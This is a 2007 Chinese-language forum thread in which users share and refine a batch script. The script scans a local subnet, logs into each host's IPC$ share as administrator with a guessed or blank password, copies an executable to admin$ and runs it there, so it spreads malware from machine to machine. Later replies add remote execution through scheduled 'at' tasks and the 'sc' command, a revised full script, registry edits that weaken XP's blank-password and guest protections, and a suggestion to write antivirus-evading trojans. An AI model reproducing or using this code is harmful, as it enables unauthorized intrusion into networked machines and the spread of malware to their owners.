Board logo

标题: 利用批处理在局域网内通过IPC$传播病毒的实例 [打印本页]

作者: heicai     时间: 2007-2-6 14:49    标题: 利用批处理在局域网内通过IPC$传播病毒的实例


REM 局域网传播
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%

a&& goto :gof)
:gof
set "ip=%ip: =%"
for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1
call :bb %%b %%c %%d %ip1%)
:bb
set IP=%1.%2.%3.%ip1%
ping %IP% -n 2 | findstr /i "time<" && net use \\%IP%\ipc$ "1212" /user:"administrator" && copy test.exe \\%IP%\admin$ && start \\%IP%\admin$\test.exe
set /a ip1+=1
if %ip1% lss 255 goto :bb

exit



功能作下简单讲解:先列出本计算机的同一内网网段内的IP,分别对末尾1-254的IP进行PING测试,如果通,则复制文件到C:\windows\目录下并执行。不通则继续下一个IP,直到PING完254个IP。
在此特别对本论坛群内的“等待下一局”朋友作深刻感谢,一起帮我研究这段代码到午夜2点。
另外,发到论坛一方面与大家分享成果,一方面希望大家指点下。
如果有错误指正下,如果能完善的帮忙完善一下!


[ Last edited by heicai on 2007-2-6 at 01:52 AM ]
作者: heicai     时间: 2007-2-7 01:03
本人纯粹以学习的态度研究,并无恶意。请高人不要吝啬指点一下。
作者: vkill     时间: 2007-2-7 01:16
你就知道密码是:"1212"???
作者: heicai     时间: 2007-2-7 03:38
密码是1212是随便设的,一般为空吧?觉得用字典之类太毫内存了。
作者: kcdsw     时间: 2007-2-7 04:06
貌似很强

不过我有个一疑问,start 可以让别的机器执行文件么? 怕是执行到自己机器上了吧
你可以试试猫猫烧香
作者: everest79     时间: 2007-2-7 09:22
你可以先分辨本机账户名称或在注册表查找是否有自动登录纪录,里边有当前账户的密码
若不为administator时可以增加administrator枚举并以空密码为凭据,不过SP2后安全策略不充许空密码进行远程访问

若像网吧因为账户都是相同的,一般默认共享与管理共享没有关闭的情况下,使用默认账户就可以连接

还有XP是自带有远程执行命令的工具,记不起名字了,你多查查
作者: lm959680     时间: 2007-2-7 23:12
rundll32 netplwiz.dll,UsersRunDll


注册表的我删除了 不知道路径了   也不知道用上面的方法 在注册表里有吗?
作者: heicai     时间: 2007-2-8 12:49


  Quote:
Originally posted by qingfushuan at 2007-2-7 10:32 AM:
纯粹建议,如果admin$被删除了呢,最好用net view命令看对方开了哪些共享再copy

帮我完善一下?
作者: kernelv     时间: 2007-2-8 15:31
这漏洞过时了,研究点别的吧,正如6楼朋友说的 SP2后安全策略不充许空密码进行远程访问了。

还有 start 可以运行远程程序?开玩笑吧,如果对方 Task Scheduler 服务开着使用计划任务还差不多。

不好意思啊,我可能多少打击了你的热情,不过没其他恶意的。
作者: luobotou     时间: 2007-3-8 00:24
对,如果对方 Task Scheduler 服务开着就好.而且你还要知道对方管理员密码.

net time \\%ip% /set /y

set/a hh=%time:~0,2%+0
set/a mm=1%time:~3,2%-100+1
if %mm% geq 60 (set/a mm=!mm!-60
set/a hh=!hh!+1
if %hh% geq 24 set/a hh=!hh!-24
)
at \\%ip% !hh!:!mm! %windir%\test.exe


在对方计算机上下一分钟运行指它程序
作者: h4ck3r     时间: 2007-3-8 02:01
at命令在xp2能使用?
呵,我試過不行喔。
作者: scriptor     时间: 2007-3-8 07:59
老掉牙的了

谁还用这个

sp2 已经相对以前安全多了
作者: scriptor     时间: 2007-3-8 08:02
还不如搞一个木马放进去
自己写木马,要免杀

不过本人强烈反对搞破坏的
维护网络安全是我们每一个懂技术的人的责任
技术不是用来使坏的
尽管技术是把双刃剑

作为一个高科技人士
首先要加强自身的道德素质
只有这样
才不愧于这个称号

谢谢
作者: bjsh     时间: 2007-3-8 10:25
lz的批处理有不少问题
首先ping %IP% -n 2 | findstr /i "time<" && 这一句就有可能漏掉不少;
有不少能ping上的没有"time<"而是"time="
不如用errorlevel来判断
其次copy test.exe \\%IP%\admin$这一句一般机器不会开着admin$的;
所以我先测下此机器能否在ipc$方面加以利用
sc \\%ip% config Schedule start= auto ^| find "SUCCESS"
我用的这一句;
一方面测试此机器的利用价值(如果远程连服务都无法改动设置的话则此机器连at命令也会执行不了也会拒绝访问)
一般如果这一步通过了;可以说此机器就可以被完全控制;
另一方面改变Schedule的启动模式(当然大部分机器这个是已经开着的)
net start Schedule
可以利用at命令
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% net share admin$

于是1分钟开启对方admin$
于是下面就是复制文件和启动了..............

下面是我修改后的..........

for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%a&& goto :gof)
:gof
set "ip=%ip: =%"
for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1
call :bb %%b %%c %%d %ip1%)
:bb
set IP=%1.%2.%3.%ip1%
ping %IP% -n 2
if errorlevel 0 if not errorlevel 1 net use \\%IP%\ipc$ "" /user:administrator
if errorlevel 0 if not errorlevel 1 sc \\%ip% config Schedule start= auto ^| find "SUCCESS"
if errorlevel 0 if not errorlevel 1 sc start Schedule
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% net share admin$ ...............从这往下的个人觉得有点多余不如自己估计时间
:loop                       
if %time%==%tm%+1 (goto next) else (goto loop)
:next
copy test.exe \\%IP%\admin$
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% c:\windows\system32\test.exe
set /a ip1+=1
if %ip1% lss 255 goto :bb

exit

[ Last edited by bjsh on 2007-3-8 at 03:29 PM ]
作者: heicai     时间: 2007-5-28 17:39


  Quote:
Originally posted by bjsh at 2007-3-8 10:25 AM:
lz的批处理有不少问题
首先ping %IP% -n 2 | findstr /i "time<" && 这一句就有可能漏掉不少;
有不少能ping上的没有"time<"而是"time ...

发现代码在检测192.168.0.1就停住了。
作者: my3439955     时间: 2007-5-30 09:30
在XP系统上不成

如果要在XP系统上实现这种连接
那么至少要修改两个地方
一是空密码连接限制
也就是说空白密码的用户不可以进行远程连接

二是强制来宾机制
也就是说无论你是不是管理员,远程连接之后你也只是一个来宾,没什么权限

要修改这两个地方,可以在控制面板->管理工具->本地安全策略->本地策略->安全选项 位置,将倒数第三项"使用空白密码的本地..." 停用,将 其中的"本地帐户的共享和安全模式" 更改为 "经典....".
也可以使用注册表来修改,对应注册表脚本为
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]
"forceguest"=dword:00000000
"limitblankpassworduse"=dword:00000000
导入之后和手动设置效果相同

[ Last edited by my3439955 on 2007-5-30 at 09:39 AM ]